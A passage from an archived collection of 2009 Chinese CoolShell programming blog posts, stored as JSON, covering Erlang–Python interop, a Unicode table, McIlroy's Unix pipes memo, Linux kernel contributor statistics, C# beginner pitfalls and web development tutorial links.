，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/8745.html)[如此理解面向对象编程](https://coolshell.cn/articles/8745.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [![重构代码的7个阶段](../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif)](https://coolshell.cn/articles/5201.html)[重构代码的7个阶段](https://coolshell.cn/articles/5201.html)\nThe post [在线代码编译服务Codepad.org](https://coolshell.cn/articles/1310.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-24 Erlang和Python互通.md",
    "content": "---\nlayout: post\ntitle: Erlang和Python互通\ndate: 2009/8/24/ 14:30:49\nupdated: 2009/8/24/ 14:30:49\nstatus: publish\npublished: true\ntype: post\n---\n\n最近开发 Erlang ,对其字符串处理能力无言至极,于是决定把它和python联合起来,打造一个强力的分布式系统,等将来需要系统级开发时,我再把 C++/C组合进来.\n\n\n首先参考了 Erlang 官方文档和 [http://blog.developers.api.sina.com.cn/?tag=**erlang**](http://www.zend2.com/DoIt.php?u=Oi8vd3d3LmJsb2dnZXIuY29tL2Jsb2cuZGV2ZWxvcGVycy5hcGkuc2luYS5jb20uY24vP3RhZz1lcmxhbmc%3D&b=5) 以及 [http://kazmier.net/computer/port-howto/](http://www.zend2.com/DoIt.php?u=Oi8va2F6bWllci5uZXQvY29tcHV0ZXIvcG9ydC1ob3d0by8%3D&b=5) .\n\n\n研读了将近24个小时, 才终于完全把问题解决.  起名为town，town在英文里表示集市，也就是代表各种语言在这里的交流与互动。) )  \n\n  \n\n[erl]-module(town).  \n\n-behaviour(gen\\_server).\n\n\n%% API  \n\n-export([start/0,combine/1]).\n\n\n%% gen\\_server callbacks  \n\n-export([init/1, handle\\_call/3, handle\\_cast/2, handle\\_info/2,  \n\nterminate/2, code\\_change/3]).  \n\n-record(state, {port}).\n\n\nstart() -&gt;  \n\n gen\\_server:start\\_link({global, ?MODULE}, ?MODULE, [], []).  \n\nstop() -&gt;  \n\n gen\\_server:cast(?SERVER, stop).  \n\ninit([]) -&gt;  \n\n process\\_flag(trap\\_exit, true),  \n\n Port = open\\_port({spawn, \"python -u /home/freefis/Desktop/town.py\"},[stream,{line, 1024}]),  \n\n {ok, #state{port = Port}}.\n\n\nhandle\\_call({combine,String}, \\_From, #state{port = Port} = State) -&gt;  \n\n port\\_command(Port,String),  \n\n receive  \n\n {Port,{data,{\\_Flag,Data}}} -&gt;  \n\n io:format(\"receiving:~p~n\",[Data]),  \n\n sleep(2000),  \n\n {reply, Data, Port}  \n\n end.  \n\nhandle\\_cast(stop, State) -&gt;  \n\n {stop, normal, State};  \n\nhandle\\_cast(\\_Msg, State) -&gt;  \n\n {noreply, State}.\n\n\nhandle\\_info(Info, State) -&gt;  \n\n {noreply,State}.\n\n\nterminate(\\_Reason, Port) -&gt;  \n\n ok.\n\n\ncode\\_change(\\_OldVsn, State, \\_Extra) -&gt;  \n\n {ok, State}.\n\n\n%%——————————————————————–  \n\n%%% Internal ———————————————————  \n\ncombine(\\_String) -&gt;  \n\n start(),  \n\n String = list\\_to\\_binary(\"combine|\"++\\_String++\"\\n\"),  \n\n gen\\_server:call(?SERVER,{combine,String},infinity),  \n\n stop().[/erl]  \n\n这段是Python的脚本 当erlang中town:combine(“sentence1+sentence2”)执行时，会在后台启动python的脚本，处理完毕后返回给Erlang结果:sentence1sentence2，然后退出。 \n\n\n\n```\n\nimport sys\ndef handle(_string):\n    if _string.startswith(\"combine|\"):\n        string = \"\".join( _string[8:].split(\",\"))\n        return string\n\n\"\"\"waiting for input \"\"\"\nwhile 1:\n    # Recv. Binary Stream as Standard IN\n    _stream = sys.stdin.readline()\n\nif not _stream: break\n    # Scheme, Turn into  Formal String\n    inString  = _stream.strip(\"\\r\\n\")\n    # handle String\n    outString = handle(inString)\n    # send to port as Standart OUT\n    sys.stdout.write(\"%s\\n\" % (outString,))\n    sys.exit(0)\n```\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![编程语言汽车](../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg)](https://coolshell.cn/articles/1839.html)[编程语言汽车](https://coolshell.cn/articles/1839.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\nThe post [Erlang和Python互通](https://coolshell.cn/articles/1313.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-24 Unicode字符预览表.md",
    "content": "---\nlayout: post\ntitle: Unicode字符预览表\ndate: 2009/8/24/ 15:45:36\nupdated: 2009/8/24/ 15:45:36\nstatus: publish\npublished: true\ntype: post\n---\n\n关于Unicode的字符表，你可以在这里下载：\n\n\n<http://www.unicode.org/Public/5.1.0/ucd/UnicodeData.txt>\n\n\n而有热心人通过上面个表格，使用JavaScript制作了下面这个网页，其穷举并可以显示上述定义的所有的Unicode字符。\n\n\n<http://www.ftrain.com/unicode/>\n\n\n打开这个网页，左边的那个大表格是一个10×10的列表，每个小单元格上面是这个字符的样子，下面是这个字符的HTML输入格式。这个表格下面是一个预览格，因为有些这符太细腻了。\n\n\n\n当然，所有的字符不肯定不止100个，所以，网页右上角有三个进度条，一个是100个字符的往后移动，第二个是1000个字符，第三个是10000个。\n\n\n随便找了一下，找到下面这些各式各样的箭头，如下所示：\n\n\n\n\n|  |  |  |  |  |  |  |  |\n| --- | --- | --- | --- | --- | --- | --- | --- |\n| ← &#8592; | ↑ &#8593; | → &#8594; | ↓ &#8595; | ↔ &#8596; | ↕ &#8597; | ↖ &#8598; | ↗ &#8599; |\n| ↘ &#8600; | ↙ &#8601; | ↚ &#8602; | ↛ &#8603; | ↜ &#8604; | ↝ &#8605; | ↞ &#8606; | ↟ &#8607; |\n| ⇞ &#8670; | ⇟ &#8671; | ⇠ &#8672; | ⇡ &#8673; | ⇢ &#8674; | ⇣ &#8675; | ⇤ &#8676; | ⇥ &#8677; |\n\n\n还有很多更奇怪的字符，你可以上去看看。如果你访问不了了，你可以通过本站下载这个文件：《[Unicode 字符集预览表](https://coolshell.cn/wp-content/uploads/2009/08/Unicode-table.htm)》\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![源代码特洛伊木马攻击](../wp-content/uploads/2021/11/il_340x270_pggv-150x150.jpg)](https://coolshell.cn/articles/21649.html)[源代码特洛伊木马攻击](https://coolshell.cn/articles/21649.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg](https://coolshell.cn/articles/1957.html)[Web程序的最佳测试数据](https://coolshell.cn/articles/1957.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/1830.html)[正则表达式生成器](https://coolshell.cn/articles/1830.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/5132.html)[疯狂的 Web 应用开源项目](https://coolshell.cn/articles/5132.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/7448.html)[扎克伯格的一封信：关于Facebook IPO](https://coolshell.cn/articles/7448.html)\nThe post [Unicode字符预览表](https://coolshell.cn/articles/1331.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-24 Unix Pipes 管道原稿.md",
    "content": "---\nlayout: post\ntitle: Unix Pipes 管道原稿\ndate: 2009/8/24/ 16:17:11\nupdated: 2009/8/24/ 16:17:11\nstatus: publish\npublished: true\ntype: post\n---\n\n![Douglas McIlroy](../wp-content/uploads/2009/08/Douglas-McIlroy.jpg \"Douglas McIlroy\")\n\n\n40年前，Unix操作系统横空出世，Unix不仅仅带来了一个操作系统，还创造C语言，Socket，开源，黑客等等文化，这些文化影响着整个计算机世界的文明，直到今天。\n\n\n如果说Unix是计算机文明中最伟大的发明，那么，Unix下的Pipe管道就是跟随Unix所带来的另一个伟大的发明。管道的出现，解决的就是让不同功能的程序可以互相连通通讯，从而可以让软件开发，程序开发更加的“高内聚，低耦合”，从而可以让程序“Do one thing, Do it well”，从而可以让程序“Keep it Simple Stupid”等等，这一哲学引影了一代又一代的软件架构，直到今天的云计算。\n\n\n管道的发名者叫，[**Malcolm Douglas McIlroy**](http://en.wikipedia.org/wiki/Douglas_McIlroy)，他也是Unix的创建者，是Unix文化的缔造者之一。他归纳的Unix哲学如下：\n\n\n\n> 程序应该只关注一个目标，并尽可能把它做好。让程序能够互相协同工作。应该让程序处理文本数据流，因为这是一个通用的接口。\n> \n> \n\n\n\n下面是管道在1964年10月11日，出现的第一个打印稿，下面是扫描件。\n\n\n\n![Unix Pipes](../wp-content/uploads/2009/08/pipe.png \"Unix Pipes\")\n\n\n全文如下：\n\n\n\n```\n                        - 10 -\n            Summary--what's most important.\n    To put my strongest concerns into a nutshell:\n1. We should have some ways of connecting programs like\ngarden hose--screw in another segment when it becomes when\nit becomes necessary to massage data in another way.\nThis is the way of IO also.\n2. Our loader should be able to do link-loading and\ncontrolled establishment.\n3. Our library filing scheme should allow for rather\ngeneral indexing, responsibility, generations, data path\nswitching.\n4. It should be possible to get private system components\n(all routines are system components) for buggering around with.\n\n                                                M. D. McIlroy\n                                                October 11, 1964\n\n```\n\n我就不翻译了，因为这段文字足够的简单，就像连接花园中浇花用的软管一样，相信你不但能够读懂它，还能从中收益。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Unix 50 年：Ken Thompson 的密码](../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg)](https://coolshell.cn/articles/19996.html)[Unix 50 年：Ken Thompson 的密码](https://coolshell.cn/articles/19996.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![Unix考古记：一个“遗失”的shell](../wp-content/uploads/2013/04/figure1-150x150.gif)](https://coolshell.cn/articles/9410.html)[Unix考古记：一个“遗失”的shell](https://coolshell.cn/articles/9410.html)\nThe post [Unix Pipes 管道原稿](https://coolshell.cn/articles/1351.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-25 谁写了Linux.md",
    "content": "---\nlayout: post\ntitle: 谁写了Linux\ndate: 2009/8/25/ 11:36:19\nupdated: 2009/8/25/ 11:36:19\nstatus: publish\npublished: true\ntype: post\n---\n\n[http://www.linuxfoundation.org/sites/www.linuxfoundation.org/themes/opensourcery/images/linux-foundation.png](http://www.linuxfoundation.org/sites/www.linuxfoundation.org/themes/opensourcery/images/linux-foundation.png)2009年8月，[Linux软件基金会](http://www.linuxfoundation.org/)发布了一份叫《[Who Writes Linux and Who Supports It](http://www.linuxfoundation.org/publications/whowriteslinux.pdf)》(PDF)的报告。这份报告主要对Linux 2.6.x的开发进行了全方位的统计。看了以后才知道，原来Linux的开发的生产率竟是这样的惊人，而且相当的的令人振奋，所以，在第一时间转过来给大家看看。让人不得不惊叹，这不可思议的具有非凡活力的社区。（注意，我们这里说的是Linux，不是GNU的那些东西，所谓Linux就是Linux的Kernel）\n\n\n下面是一个导读，希望每一个看到这篇文章的朋友都能看看原文的报告：《[Who Writes Linux and Who Supports It](http://www.linuxfoundation.org/publications/whowriteslinux.pdf)》(PDF)\n\n\n这份报告的一开始就对Linux的开发进行了总结：\n\n\n* 每2-3个月一个release\n* 最近的每一次release都超过10000个补丁\n* 有超过1000个开发人员进行开发，他们来自200个公司或组织。\n* 自2005年以来，超过5000个来自500个不同公司的开发人员为Linux内核做过贡献。\n* 自2008年以来，每次release，都大约增加了10%左右的开发人员，而且，代码码达到了2.7百万行。\n\n\n是的，这样的生产率真是太疯狂了。下面是这份文档中所涉及的一些介绍和一些具体的统计数据。\n\n\n\n#### Linux开发模式\n\n\nLinux的开发采用的是一种宽松的，基于时间的开发模式。每一个新的主要版本的release基本上会发生在2-3个月之内。这个开发模式是在2005年形成的，因为任何人都可以修改其内核的代码，所以，很多补丁进入内核的时间非常的快。\n\n\n其中一个有意义的事是，他们有一个叫Linux-Next的服务器，这个服务器一般来说会是下一个版本的staging，比如，如果目前的稳定版本是2.6.31，那么Linux-Next上就会运行2.6.32。这样，所有的developer都能看到下一个版本总体的样子，而且，这更容易发现一些集成性的问题。\n\n\n在2.6的mainline代码库上（mailline是代码库的主线），有一个叫做“stable team”的团队，他们会做短期的维护工作，他们确保所有的重要的补丁或更改都会被放入mailline中，这样就能滚入下一个release。\n\n\n然后，这份文档中给出了大量的开发编译数据。\n\n\n#### 统计数据\n\n\n下面的统计数据是从版本2.6.11开始的，我把源文件中的表格合并成一个大表，如下所示。\n\n\n![Linux Kernel开发统计数据](../wp-content/uploads/2009/08/Linux-Stat.png \"Linux Kernel开发统计数据\")\n\n\n从上图我们可以看到下面这些东西：\n\n\n* Linux Kernel开发的速度越来越快，看看每个release的补丁数，每天文件增、删、改就可以知道。\n* Linux Kernel开发的团队是越来越大，包括人员和参与的公司。\n\n\n下面是几个统计图表：\n\n\n![linuxp1](../wp-content/uploads/2009/08/linuxp1.png \"平均每天的修改\")  \n\n平均每天的修改\n\n\n![linuxp2](../wp-content/uploads/2009/08/linuxp2.png \"代码修改统计\")  \n\n代码修改统计\n\n\n![linuxp3](../wp-content/uploads/2009/08/linuxp3.png \"开发人员\")  \n\n开发人员\n\n\n#### 谁写了Linux\n\n\n最后我们进入主题——谁写了Linux，首先，我们先来看一下进入代码修改的Top 30的开发人员列表：\n\n\n![Top 30 Linux developer](../wp-content/uploads/2009/08/Linux-developer.png \"Top 30 Linux developer\")\n\n\n我们可以看到，Linus Torvalds （729 总修改，自2.6.24版来254 修改）无法进入前30名。当然，对Linux的贡献绝对不能通过代码行来表示，Linus对Linux就算是在今天也是至关紧要的。\n\n\n好，让我们再来看看那些公司对Linux的贡献。根据这份报告所说，知道每个developer所在的公司，主要是通过了下面的几种方法：\n\n\n* 使用的邮件地址有公司的名字。\n* 由赞助者提交的代码。\n* 直接询问得到的。\n\n\n所以，这些数据只能算得上的近似，不过也能看到一个总体的样子了。下图中“None”代表没有职业无业游民，“Unknown”代表无名氏或是英雄不知出处。\n\n\n![Linux Company Top 30](../wp-content/uploads/2009/08/linux-company.png \"Linux Company Top 30\")\n\n\n我们可以看到，Top 10公司，为Linux贡献了近70%的代码。包括了None和Unknown，而且，那些是拿着公司报酬给Linux作开发的程序员。\n\n\n那么，为什么这些公司要支持Linux的内核开发呢？\n\n\n* 我们可以看到像IBM, Intel, SGI, MIPS, Freescale, HP, Fujitsu这样的大公司，他们的目的当然是为了确保Linux能够在他们的硬件上工作得更好。\n* 我们也可以看到像Red Hat, Novell, 和MontaVista这些Linux的Distribution公司，他们是Linux的主力，主要是为了提供给他们的客户更好的服务。\n* 同样，我们还能看到像Sony, Nokia, 和Samsung这样的公司，这些公司主要是用Linux来开发数码产品，如摄像机、手机或是电视，他们使用Linux做一些嵌入式开发，以保证他们的产品工作得更好。\n* 还有一些和IT都没有关系的，例如：Volkswagen公司在v21.6.25中为Linux加入了PF\\_CAN网络实现的协议。Quantum Controls BV公司在2.6.30时加入了一个航海导航的补丁，这些公司都会使用Linux来完善他们的产品。\n\n\n看来，Linux的势头是越来越无法阻挡了，你也想加入这个阵营吗？点下面的链接吧：<http://ldn.linuxfoundation.org/book/how-participate-linux-community>\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [谁写了Linux](https://coolshell.cn/articles/1360.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-31 初学C#编程的注意事项.md",
    "content": "---\nlayout: post\ntitle: 初学C#编程的注意事项\ndate: 2009/8/31/ 4:15:5\nupdated: 2009/8/31/ 4:15:5\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是8个C#编程时的注意事项是给初学者的，可能你知道，也可能你不知道，不过这些都是一些可能会让人疏忽的地方，还是要注意一下。\n\n\n**1.使用String变量:**\n\n\n考虑有下面的一个程序想判断一下字符串是否有内容。\n\n\n\n```\n\nif (someString.Length > 0)\n{\n    // …\n}\n\n```\n\n但是，这个字符串对象很可能是个空对象，所以，最好先判断一下null\n\n\n\n```\n\nif  (!String.IsNullOrEmpty(someString))\n{\n    // 是不是更好一些？\n}\n\n```\n\n\n**2.字符器连接**\n\n\n\n```\n\nstring s = “dev”;\ns += “-”;\ns += “the”;\ns += “-”;\ns += “web”;\ns += “.”;\ns += “com”;\n\n```\n\n这样做没什么问题，只不过性能不高，因为+=操作符其实调用的是String类的Append访问，所以，+=会有两次函数调用，下面的则会好一些。\n\n\n\n```\n\nStringBuilder s = new StringBuilder();\ns.Append(”dev”);\ns.Append(”-”);\ns.Append(”the”);\ns.Append(”-”);\ns.Append(”web”);\ns.Append(”.”);\ns.Append(”com”);\n\n```\n\n**3.使用Console**\n\n\n\n```\n\nConsole.WriteLine(\"A= \" + 1 + \" B=\" + 2 + \" C= \" + someValue);\n\n```\n\n和第二点说的一样，这并没有效率，使用下面的语句，会更有效率。\n\n\n\n```\n\nConsole.WriteLine(”A: {0}\\nB: {1}\\nC: {2}”, 1, 2, someValue);\n\n```\n\n**4.字符串转整型**\n\n\n\n```\n\nint i = int.Parse(Request.QueryString[\"id\"]);\n\n```\n\n这样做的问题是，如果有人这样请求你的页面：yourpage.aspx?id=A6，那么A6将会导致你的程序抛出一个异常。因为A6不是一个整数字符串。使用TryParse会好一点。\n\n\n\n```\n\nint i;\nif (!int.TryParse(Request.QueryString[\"id\"] , out i))\n{\n    //…\n}\n\n```\n\n**5. 调用IDbConnection 的 Close 方法**\n\n\n\n```\n\nIDbConnection dbConn = null;\n\ntry\n{\n    dbConn = new SqlConnection(”some Connection String”);\n    dbConn.Open();\n}\nfinally\n{\n    dbConn.Close();\n}\n\n```\n\n调用SqlConnection的构造函数可能会出现一个异常，如果是这样的话，我们还需要调用Close方法吗？\n\n\n\n```\n\nIDbConnection dbConn = null;\n\ntry\n{\n    dbConn = new SqlConnection(”Some Connection String”);\n    dbConn.Open();\n}\nfinally\n{\n    if (dbConn != null)\n    {\n        dbConn.Close();\n    }\n}\n\n```\n\n**6.使用List类**\n\n\n\n```\n\npublic void SomeMethod(List<SomeItem> items)\n{\n    foreach(var item in items)\n    {\n        // do something with the item…\n    }\n}\n\n```\n\n如果我们只是遍历List容器中的所有内容的话，那么，使用IEnumerable接口会更好一些。因为函数参数传递一个List对象要比一个IEnumerable接口要花费更多的开销。\n\n\n\n```\n\npublic void SomeMethod(IEnumerable<SomeItem> items)\n{\n    foreach(var item in items)\n    {\n        // do something with the item…\n    }\n}\n\n```\n\n**7.直接使用数字**\n\n\n\n```\n\nif(mode == 1) { … }\nelse if(mode == 2) { … }\nelse if(mode == 3) { … }\n\n```\n\n为什么不给你的这些数字取个名字呢？比如使用Enumerations。\n\n\n\n```\n\npublic enum SomeEnumerator\n{\n    DefaultMode = 1,\n    SafeMode = 2,\n    NormalMode = 3\n}\n\nif(mode == SomeEnumerator.DefaultMode) { … }\nelse if(mode == SomeEnumerator.SafeMode) { … }\nelse if(mode == SomeEnumerator.NormalMode) { … }\n\n```\n\n**8.字符串替换**\n\n\n\n```\n\nstring s = \"www.coolshell.cn is a amazing site\";\ns.Replace(\"amazing\", \"awful\");\n\n```\n\n字符串s的内容什么也不会改变，因为string返回的是替换过的字串。这点很多初学者经常忘了。下面就没有问题了。\n\n\n\n```\n\ns = s.Replace(\"amazing\", \"awful\");\n\n```\n\n文章：[来源](http://dev-the-web.com/blog/2009/08/27/top-csharp-programming-mistakes/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [初学C#编程的注意事项](https://coolshell.cn/articles/1375.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-31 十个Web开发文章和教程.md",
    "content": "---\nlayout: post\ntitle: 十个Web开发文章和教程\ndate: 2009/8/31/ 9:18:41\nupdated: 2009/8/31/ 9:18:41\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是十个在2009年8月份里出现的十个非常不错的Web开发方面的文章和教程。推荐给大家，当然，都是英文啦。如果你愿意，欢迎翻译后提交给[酷壳](https://coolshell.cn)。\n\n\n1）[一个简单的Lava 灯式的菜单](http://www.queness.com/post/530/simple-lava-lamp-menu-tutorial-with-jquery)（使用jQuery完成）\n\n\n2）[使用jQuery自动生成文章内容的目录](http://www.jankoatwarpspeed.com/post/2009/08/20/Table-of-contents-using-jQuery.aspx)。就像是使用Word一样，设置一下标题，然后可以自动生成文章的目录。\n\n\n3）[使用jQuery为图片创建图片标题和描述](http://www.queness.com/post/484/create-a-thumbnail-gallery-with-slick-heading-and-caption-effect-with-jquery)。这是一个超Cool的效果，当你的鼠标移到图片上的时候，图片的上下会出现遮覆，上面是标题，下面是描述，相当不错的用户体验，当鼠标移开后，遮覆消失。\n\n\n\n4）[CSS3速成教程](http://net.tutsplus.com/videos/screencasts/a-crash-course-in-advanced-css3-effects/)。主要讨论了CSS3的这些特性：旋转和改变大小，动画，Photoshop风格的遮罩，图片倒影，色彩渐变，转换等。有一个不错的flash视频。\n\n\n5）[30+相当有用的Wordpress的巧门](http://www.hongkiat.com/blog/30-new-useful-wordpress-tricks-hacks/)。相当相当不错的一些和Wordpress相关的插件和小巧门，非常非常地实用。\n\n\n6）[htaccess技术的权威性指南](http://www.noupe.com/php/htaccess-techniques.html)。本文给出了12个非常有用的apache的设置，可以让你更容易设置你的站点，在这篇文章的最后，还列出了一些经验上的东西。另外，你可以参考本站的《[16个简单实用的.htaccess小贴示](https://coolshell.cn/articles/1035.html)》。\n\n\n7）[PHP正则表达式入门](http://www.noupe.com/php/php-regular-expressions.html)。一个相当不错的入门教程，写得简单易懂。\n\n\n8）[你需要知道的8个正则表达式](http://net.tutsplus.com/tutorials/other/8-regular-expressions-you-should-know/)。正则表达式很有用，但是它具体用在什么地方呢？这篇文章给你了一票非常实用的示例。相当的不错。浏览这篇文章时别忘了看一下大家的回复，那里面也有很多不错的资源。\n\n\n9）[20个可以改进表单的jQuery插件](http://speckyboy.com/2009/08/26/20-jquery-plugins-and-tutorials-to-enhance-forms/)。都是相当实用的插件，可以让你的Web表单相当的成熟和有很好的用户体验。\n\n\n10）[数据库，HTML，CSS，JS不适应的用法](http://css-tricks.com/inapproprite-uses/)。很不错的文章，你需要记住下面的这个表格。\n\n\n\nDatabase\n*is for*content\n\n\nHTML\n*is for*describing and displaying content\n\n\nCSS\n*is for*design\n\n\nJavaScript\n*is for*functionality\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![PHP分页技术的代码和示例](../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg)](https://coolshell.cn/articles/5160.html)[PHP分页技术的代码和示例](https://coolshell.cn/articles/5160.html)\nThe post [十个Web开发文章和教程](https://coolshell.cn/articles/1387.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
